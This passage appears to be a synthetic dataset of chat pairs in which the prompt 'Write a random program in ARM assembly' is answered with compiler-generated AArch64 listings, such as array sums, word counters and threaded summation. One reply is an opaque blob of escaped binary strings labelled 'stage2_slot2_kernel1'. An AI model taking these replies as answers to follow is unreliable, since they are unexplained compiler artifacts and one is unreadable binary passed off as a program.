ldr s0, [sp, 52]
fcvt d0, s0
ldr d2, [sp, 64]
ldr d1, [sp, 72]
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
mov w0, 0
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 3
.LC5:
.word 1413754136
.word 1074340347
.align 3
.LC6:
.word 1413754136
.word 1075388923
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.data
.align 3
.type stage2_slot2_kernel1, %object
.size stage2_slot2_kernel1, 1840
stage2_slot2_kernel1:
.string "\001\200\b<0\327\b%\001\200\t<4\327)%\005"
.string "\t\021"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\255\004"
.string "\b%\375\377\t\025"
.string ""
.string ""
.string ""
.string "\f4"
.string "\b"
.string ""
.string ""
.string ""
.string "H\377\275'%\020"
.string ""
.string "\264"
.string "\277\257\260"
.string "\267\257\254"
.string "\266\257\250"
.string "\265\257\244"
.string "\264\257\240"
.string "\263\257\234"
.string "\262\257\230"
.string "\261\257\224"
.string "\260\257"
.string "`\202@"
.string ""
.string ""
.string ""
.string "\200\277\002<t\020@\254\307\277\002<R\377B4"
.string ""
.string "F\200\200\037\007<E"
.string "\3058\001"
.string "\245,"
.string "\b\002<\001"
.string "B$\024\030\340\254\300(\005"
.string "\2544"
.string "\f%(\242"
.string "E"
.string "\003$\024\030\345\254\002"
.string "\303\024%\020"
.string ""
.string "\036"
.string "\002$`\fE$"
.string "+\005"
.string "`\002B$%(\242"
.string ""
.string "\006\002<\2544"
.string "\f%(\242"
.string "\200\037\002<\024\030E\254E"
.string "\002$V"
.string "\302\024\020"
.string "\003$+"
.string "\003$\033\001\002$\200*\002"
.string "%(\243"
.string ""
.string "\007\002<\200\037\t<\2544"
.string "\f%(\242"
.string "\024\030%\255\2544"
.string "\f"
.string ""
.string ""
.string ""
.string ""
.string "\005\002<\024\030\"\255\2544"
.string "\f"
.string ""
.string ""
.string ""
.string ""
.string "\343\002<\020\030\"\255\2544"
.string "\f"
.string ""
.string ""
.string ""
.string "\003\344\002<?\275B4\020\030\"\255\2544"
.string "\f"
.string ""
.string ""
.string ""
.string ""
.string "\345\002<\020\030\"\255\2544"
.string "\f"
.string ""
.string ""
.string ""
.string ""
.string "\003\002<\024\030\"\255\001\200\002<,\327D\214\2654"
.string "\f@\001\005$@"
.string "\002$J\020\"\245\210"
.string "\002$N\020\"\245\r"
.string "\002$H\020\"\245\n"
.string "\004$\3164"
.string "\fJ\020 \245\002"
.string "\002$J\020\"\245\3164"
.string "\f\n"
.string "\004$\002 \002$J\020\"\245\3164"
.string "\f\n"
.string "\004$\001\200\002<s}\021<(\327S\214J\020 \245@"
.string "\024$%\270"
.string ""
.string "%\200"
.string ""
.string "%\310"
.string ""
.string "%\250"
.string ""
.string "%\220"
.string ""
.string "TN1&\030"
.string "@\022% \200\002\001"
.string "\265&\200\020\025"
.string "!\020U"
.string "\200\021\002"
.string "\002"
.string " \027\033"
.string "Y"
.string "\r"
.string "\007"
.string "\022\260"
.string ""
.string "\006"
.string "\327\022%("
.string "\002"
.string ",\026"
.string "\003,\005"
.string "\2654"
.string "\f% `\002%("
.string "\002\3244"
.string "\f% \200\002\036"
.string "\271\026\200"
.string "\020&h5"
.string "\f\020"
.string "\244'\254\377"
.string "\020\377"
.string "\002$\3244"
.string "\f\020"
.string "\245'\020"
.string "\243',"
.string "\244'\005\025\002$@)\002"
.string "!\020\242"
.string "\024"
.string "e\200\001"
.string "c$\373\377\203\024&\020E"
.string "\004"
.string "Q\024"
.string ""
.string ""
.string ""
.string " "
.string "\271\217\034"
.string "\260\217\001"
.string "\022$\001"
.string "\224&"
.string "\004\002$\324\377\202\026\001\200\002<$\327D\214\2654"
.string "\f@\001\005$\377\377"
.string "\020"
.string ""
.string ""
.string ""
.string "\366\377"
.string "\020%\270\300\002"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\200\037\004<"
.string "\004\003<\024\030\202\214"
.string ""
.string ""
.string ""
.string "$\020C"
.string "\374\377@\020"
.string ""
.string ""
.string ""
.string "\b"
.string "\340\003"
.string ""
.string ""
.string ""
.string "\002\022\004"
.string "\002\034\004"
.string "\350\377\275'\377"
.string "F0\377"
.string "g0\377"
.string "\2100\024"
.string "\277\257\2544"
.string "\f\030"
.string "\244\257"
.string "\034\007"
.string ""
.string "\"\006"
.string "% \203"
.string ""
.string "\002\002<% \210"
.string "\360"
.string "\003<% \202"
.string "%(\243"
.string "\200\037\002<\020\030D\254\020\030@\254\020\030E\254\024"
.string "\277\217"
.string ""
.string ""
.string ""
.string "\b"
.string "\340\003\030"
.string "\275'\377\377\002$\377\377\204$\376\377\202\024"
.string ""
.string ""
.string ""
.string "\b"
.string "\340\003"
.string ""
.string ""
.string ""
.string "\350\377\275'\200\277\002<\024"
.string "\277\257t\020M\214\002Z\004"
.string "\200"
.string "\2435\001\200\030<\001\200\f<%@\200"
.string "t\020C\254\377"
.string "k1%P"
.string ""
.string "%H"
.string ""
.string "%p"
.string "\003\360\326\214%\001"
.string "\017$\200\037\003<\310"
.string "\004$\3164"
.string "\f@\020g$\n"
.string "\342\224\320\007\004$\377\377B0\022"
.string "B4\n"
.string "\342\244\3164"
.string "\f"
.string ""
.string ""
.string ""
.string "0\327\006\223"
.string ""
.string ""
.string ""
.string "e"
.string "\300\024"
.string ""
.string ""
.string ""
.string "\001"
.string ")%\377\377\"%\r"
.string "D,\031"
.string "\200\020\200\020\002"
.string "!\020\202\001"
.string ""
.string "B\214"
.string ""
.string ""
.string ""
.string "\b"
.string "@"
.string ""
.string ""
.string ""
.string ""
.string "\200\037\004<\\"
.string "\003$@\020\202\220"
.string ""
.string ""
.string ""
.string "\377"
.string "B0\374\377C\024"
.string ""
.string ""
.string ""
.string "\013"
.string ""
.string "\020"
.string ""
.string ""
.string ""
.string "\200\037\004<Z"
.string "\003$@\020\202\220"
.string ""
.string ""
.string ""
.string "\377"
.string "B0\374\377C\024"
.string ""
.string ""
.string ""
.string "\002"
.string ""
.string "\020"
.string ""
.string ""
.string ""
.string "R"
.string "\006$\3164"
.string "\f\024"
.string "\004$\200\037\002<@\020C$@\020F\240\3164"
.string "\f\024"
.string "\004$\n"
.string "b\224% \240"
.string "\377\377B0\020"
.string "B4\n"
.string "b\244\200\277\002<\177\377\003$p\020C\254\200\277\005<p\020\242\214"
.string ""
.string ""
.string ""
.string "\200"
.string "B0\374\377@\020p\020\243$p\020\242\214\177\377\005$$\020E"
.string ""
.string ""
.string "b\254\272\377"
.string "\020%(\200"
.string "\0030\002$\n"
.string "\342\244\342\377"
.string "\020\201"
.string "\006$%0`\001\200\037\004<]"
.string "\003$@\020\202\220"
.string ""
.string ""
.string ""
.string "\377"
.string "B0\374\377C\024"
.string ""
.string ""
.string ""
.string "\330\377"
.string "\020"
.string ""
.string ""
.string ""
.string "@\020b\220\325\377"
.string "\020"
.string ""
.string ""
.string ""
.string "\323\377"
.string "\020\377"
.string "\0061@\020b\220\320\377"
.string "\0200\327\317\241@\020b\220\315\377"
.string "\020"
.string ""
.string "\242\240\200\037\003<\024"
.string "\004$@\020b\220\3164"
.string "\f"
.string ""
.string ""
.string ""
.string "@\020`\240\200\037\004<D\020\203\224"
.string ""
.string ""
.string ""
.string "\002"
.string "c0\374\377`\020\200\277\002<@\020\203\220J\020\200\244t\020M\254\024"
.string "\277\217"
.string ""
.string ""
.string ""
.string "\b"
.string "\340\003\030"
.string "\275'@\020b\220\001"
.string "J%"
.string ""
.string "\242\240@\020`\240\n"
.string "\342\224\177\377\003$\377\377B0\020"
.string "B4\n"
.string "\342\244\200\277\002<p\020C\254\177"
.string "B)\273\377@\024\001"
.string "\244$\271\377"
.string "\0200\327"
.string "\243"
.string ""
.string ""
.string ""
.string ""
.string "\200\b<\360\337\b5"
.string ""
.string "\211\214\004"
.string "\212\214\b"
.string "\213\214"
.string ""
.string "\t\255\004"
.string "\n\255\b"
.string "\013\255"
.string ""
.string "\t$\003\200\004<"
.string "(\204@"
.string ""
.string ""
.string ""
.string "\377\377\b$"
.string "H\210@"
.string ""
.string ""
.string ""
.string ""
.string "\030\204@"
.string ""
.string ""
.string ""
.string "\377\377\b$"
.string "X\210@"
.string ""
.string ""
.string ""
.string "\200\353\t<"
.string "8\211@\001\200\b<8\326\b%"
.string "\200\r<@"
.string "\2555"
.string ""
.string "\t\215\004"
.string "\n\215\b"
.string "\013\215\f"
.string "\f\215"
.string ""
.string "\251\255\004"
.string "\252\255\b"
.string "\253\255\f"
.string "\254\255\300\277\b<\230\003\b5\t\370"
.string "\001"
.string ""
.string ""
.string ""
.string "\001\200\032<H\326Z'\b"
.string "@\003"
.string ""
.string ""
.string ""
.string ""
.string "(\200@"
.string "H\200@"
.string "\030\200@"
.string "X\200@"
.string "8\200@\314W\b$\030\214\t<Lr)5"
.string ""
.string "\t\255\207"
.string "\t<! )5\034"
.string "\t\2550S\b$\030\214\t<Lr)5"
.string ""
.string "\t\255f"
.string "\t<!\030)5\034"
.string "\t\255\340\\\b$\b\214\t<Lr)5"
.string ""
.string "\t\255d"
.string "\t<!\030)5\034"
.string "\t\255H\276\b4.\361\t<u\341)5"
.string ""
.string "\t\255[\354\t<r"
.string ")5\004"
.string "\t\255"
.string "\200\b<\360\337\b5"
.string ""
.string "\t\215\004"
.string "\034\215\b"
.string "\035\215\b"
.string " \001\020"
.string ""
.string "B"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\254\324"
.string "\200<\324"
.string "\200\344\324"
.string "\200\030\324"
.string "\200\274\324"
.string "\200\360\324"
.string "\200\344\324"
.string "\200\364\323"
.string "\200\300\324"
.string "\200\344\324"
.string "\200\370\324"
.string "\200\004\325"
.string "\200\020\325"
.string "\200\334\234\234"
.string "\230\340\233"
.string "\234\334\332"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global arraySum
.type arraySum, %function
arraySum:
.LFB0:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 28]
ldrsw x0, [sp, 4]
lsl x0, x0, 2
ldr x1, [sp, 8]
add x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 8]
str x0, [sp, 32]
b .L2
.L3:
ldr x0, [sp, 32]
ldr w0, [x0]
ldr w1, [sp, 28]
add w0, w1, w0
str w0, [sp, 28]
ldr x0, [sp, 32]
add x0, x0, 4
str x0, [sp, 32]
.L2:
ldr x1, [sp, 32]
ldr x0, [sp, 40]
cmp x1, x0
bcc .L3
ldr w0, [sp, 28]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size arraySum, .-arraySum
.section .rodata
.align 3
.LC1:
.string "The sum is %i\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
add x0, sp, 16
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
add x0, sp, 16
mov w1, 10
bl arraySum
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L7
bl __stack_chk_fail
.L7:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
.section .rodata
.align 3
.LC0:
.word 3
.word 7
.word -9
.word 3
.word 6
.word -1
.word 7
.word 9
.word 1
.word -5
.text
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "A continuacion ingresa 10 numeros:"
.align 3
.LC1:
.string "Ingresa el numero #%d: "
.align 3
.LC2:
.string "%d"
.align 3
.LC3:
.string "\nLa suma de los 10 numeros es %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 32]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
str wzr, [sp, 36]
b .L2
.L3:
ldr w0, [sp, 36]
add w0, w0, 1
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
add x0, sp, 28
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl __isoc99_scanf
ldr w0, [sp, 28]
ldr w1, [sp, 32]
add w0, w1, w0
str w0, [sp, 32]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L2:
ldr w0, [sp, 36]
cmp w0, 9
ble .L3
ldr w1, [sp, 32]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Lines:%d Words:%d Characters:%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str wzr, [sp, 40]
str wzr, [sp, 36]
ldr w0, [sp, 36]
str w0, [sp, 32]
ldr w0, [sp, 32]
str w0, [sp, 28]
b .L2
.L6:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
ldr w0, [sp, 44]
cmp w0, 10
bne .L3
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L3:
ldr w0, [sp, 44]
cmp w0, 32
beq .L4
ldr w0, [sp, 44]
cmp w0, 10
beq .L4
ldr w0, [sp, 44]
cmp w0, 9
bne .L5
.L4:
str wzr, [sp, 40]
b .L2
.L5:
ldr w0, [sp, 40]
cmp w0, 0
bne .L2
mov w0, 1
str w0, [sp, 40]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
bl getchar
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L6
ldr w3, [sp, 36]
ldr w2, [sp, 32]
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global GUID_PROCESSOR_CORE_PARKING_INCREASE_TIME
.section .rodata
.align 3
.type GUID_PROCESSOR_CORE_PARKING_INCREASE_TIME, %object
.size GUID_PROCESSOR_CORE_PARKING_INCREASE_TIME, 24
GUID_PROCESSOR_CORE_PARKING_INCREASE_TIME:
.xword 769481348
.hword 23153
.hword 17278
.ascii "\221*\333\013\214x\2072"
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Enter first subject marks: "
.align 3
.LC1:
.string "%d"
.align 3
.LC2:
.string "Enter second subject marks: "
.align 3
.LC3:
.string "Average of Youre Marks are: %.2f"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 28
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
add x0, sp, 32
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w1, [sp, 28]
ldr w0, [sp, 32]
add w0, w1, w0
fmov s0, w0
scvtf s1, s0
fmov s0, 2.0e+0
fdiv s0, s1, s0
str s0, [sp, 36]
ldr s0, [sp, 36]
fcvt d0, s0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global setbuf
.type setbuf, %function
setbuf:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
cmp x0, 0
beq .L2
mov w0, 0
b .L3
.L2:
mov w0, 2
.L3:
mov x3, 8192
mov w2, w0
ldr x1, [sp, 16]
ldr x0, [sp, 24]
bl setvbuf
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size setbuf, .-setbuf
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global sendMessageWithNumber
.type sendMessageWithNumber, %function
sendMessageWithNumber:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
mov w0, 0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size sendMessageWithNumber, .-sendMessageWithNumber
.section .rodata
.align 3
.LC0:
.string "111111111"
.align 3
.LC1:
.string "222222222"
.align 3
.LC2:
.string "444444444"
.align 3
.LC3:
.string "555555555"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "lines:%d, words:%d, chars:%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str wzr, [sp, 40]
str wzr, [sp, 36]
ldr w0, [sp, 36]
str w0, [sp, 32]
ldr w0, [sp, 32]
str w0, [sp, 28]
b .L2
.L6:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
ldr w0, [sp, 44]
cmp w0, 10
bne .L3
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L3:
ldr w0, [sp, 44]
cmp w0, 32
beq .L4
ldr w0, [sp, 44]
cmp w0, 10
beq .L4
ldr w0, [sp, 44]
cmp w0, 9
bne .L5
.L4:
str wzr, [sp, 40]
b .L2
.L5:
ldr w0, [sp, 40]
cmp w0, 0
bne .L2
mov w0, 1
str w0, [sp, 40]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
bl getchar
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L6
ldr w3, [sp, 36]
ldr w2, [sp, 32]
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.weak g0_common
.bss
.align 2
.type g0_common, %object
.size g0_common, 4
g0_common:
.zero 4
.weak g0_def
.data
.align 2
.type g0_def, %object
.size g0_def, 4
g0_def:
.word 52
.text
.align 2
.weak g1_def
.type g1_def, %function
g1_def:
.LFB0:
.cfi_startproc
mov w0, 0
ret
.cfi_endproc
.LFE0:
.size g1_def, .-g1_def
.align 2
.global f0
.type f0, %function
f0:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:g0_ext
ldr x0, [x0, #:got_lo12:g0_ext]
ldr w0, [x0]
str w0, [sp, 24]
bl g1_ext
str w0, [sp, 28]
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size f0, .-f0
.weak g1_ext
.weak g0_ext
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type logging_get_caller_address, %function
logging_get_caller_address:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov x0, x30
mov x30, x0
hint 7 // xpaclri
mov x0, x30
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size logging_get_caller_address, .-logging_get_caller_address
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global arr1
.bss
.align 3
.type arr1, %object
.size arr1, 1600000
arr1:
.zero 1600000
.global total
.align 3
.type total, %object
.size total, 8
total:
.zero 8
.global c
.align 2
.type c, %object
.size c, 4
c:
.zero 4
.global my_mutex
.align 3
.type my_mutex, %object
.size my_mutex, 48
my_mutex:
.zero 48
.section .rodata
.align 3
.LC0:
.string "%d: sum is %lf\n"
.text
.align 2
.global count_func
.type count_func, %function
count_func:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
adrp x0, my_mutex
add x0, x0, :lo12:my_mutex
bl pthread_mutex_lock
ldr x0, [sp, 24]
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
beq .L2
adrp x0, c
add x0, x0, :lo12:c
ldr w0, [x0]
mov w1, 3392
movk w1, 0x3, lsl 16
sdiv w1, w1, w0
ldr w0, [sp, 44]
sub w0, w0, #1
mul w0, w1, w0
str w0, [sp, 40]
b .L3
.L4:
adrp x0, arr1
add x0, x0, :lo12:arr1
ldrsw x1, [sp, 40]
ldr d1, [x0, x1, lsl 3]
adrp x0, total
add x0, x0, :lo12:total
ldr d0, [x0]
fadd d0, d1, d0
adrp x0, total
add x0, x0, :lo12:total
str d0, [x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L3:
adrp x0, c
add x0, x0, :lo12:c
ldr w0, [x0]
mov w1, 3392
movk w1, 0x3, lsl 16
sdiv w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
ldr w1, [sp, 40]
cmp w1, w0
blt .L4
adrp x0, total
add x0, x0, :lo12:total
ldr d0, [x0]
ldr w1, [sp, 44]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
str wzr, [sp, 44]
.L2:
adrp x0, my_mutex
add x0, x0, :lo12:my_mutex
bl pthread_mutex_unlock
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size count_func, .-count_func
.section .rodata
.align 3
.LC1:
.string "The remainder of 200000 divided by this number is zero\nPlease input this number and: "
.align 3
.LC2:
.string "%d"
.align 3
.LC3:
.string "error ,please input again: "
.align 3
.LC4:
.string "please input a number: "
.align 3
.LC5:
.string "ERROR when creating default thread; Code is %d\n"
.align 3
.LC6:
.string "The final sum :%lf"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
.cfi_def_cfa_register 29
stp x20, x21, [sp, 16]
stp x22, x23, [sp, 32]
stp x24, x25, [sp, 48]
stp x26, x27, [sp, 64]
sub sp, sp, #16
.cfi_offset 20, -112
.cfi_offset 21, -104
.cfi_offset 22, -96
.cfi_offset 23, -88
.cfi_offset 24, -80
.cfi_offset 25, -72
.cfi_offset 26, -64
.cfi_offset 27, -56
str w0, [x29, 92]
str x1, [x29, 80]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 120]
mov x1, 0
mov x1, 0
adrp x0, my_mutex
add x0, x0, :lo12:my_mutex
bl pthread_mutex_init
str wzr, [x29, 96]
str wzr, [x29, 96]
b .L6
.L7:
adrp x0, arr1
add x0, x0, :lo12:arr1
ldrsw x1, [x29, 96]
fmov d0, 1.0e+0
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 96]
add w0, w0, 1
str w0, [x29, 96]
.L6:
ldr w1, [x29, 96]
mov w0, 3391
movk w0, 0x3, lsl 16
cmp w1, w0
ble .L7
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
adrp x0, c
add x1, x0, :lo12:c
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl __isoc99_scanf
b .L8
.L9:
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
adrp x0, c
add x1, x0, :lo12:c
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl __isoc99_scanf
.L8:
adrp x0, c
add x0, x0, :lo12:c
ldr w1, [x0]
mov w0, 3392
movk w0, 0x3, lsl 16
sdiv w2, w0, w1
mul w1, w2, w1
sub w0, w0, w1
cmp w0, 0
bne .L9
adrp x0, c
add x0, x0, :lo12:c
ldr w0, [x0]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 104]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x23, x27, 6
orr x23, x1, x23
lsl x22, x26, 6
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x21, x25, 6
orr x21, x1, x21
lsl x20, x24, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L10:
cmp sp, x1
beq .L11
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L10
.L11:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L12
str xzr, [sp, 1024]
.L12:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 112]
str wzr, [x29, 96]
b .L13
.L15:
ldrsw x0, [x29, 96]
lsl x0, x0, 3
ldr x1, [x29, 112]
add x4, x1, x0
ldr w0, [x29, 96]
add w0, w0, 1
sxtw x0, w0
mov x3, x0
adrp x0, count_func
add x2, x0, :lo12:count_func
mov x1, 0
mov x0, x4
bl pthread_create
str w0, [x29, 100]
ldr w0, [x29, 100]
cmp w0, 0
beq .L14
ldr w1, [x29, 100]
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
.L14:
ldr x0, [x29, 112]
ldrsw x1, [x29, 96]
ldr x0, [x0, x1, lsl 3]
mov x1, 0
bl pthread_join
ldr w0, [x29, 96]
add w0, w0, 1
str w0, [x29, 96]
.L13:
adrp x0, c
add x0, x0, :lo12:c
ldr w0, [x0]
ldr w1, [x29, 96]
cmp w1, w0
blt .L15
adrp x0, total
add x0, x0, :lo12:total
ldr d0, [x0]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
mov x0, 0
bl pthread_exit
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global userFinish
.type userFinish, %function
userFinish:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr x0, [x0]
ldr x1, [x0, 8]
ldr x0, [sp, 24]
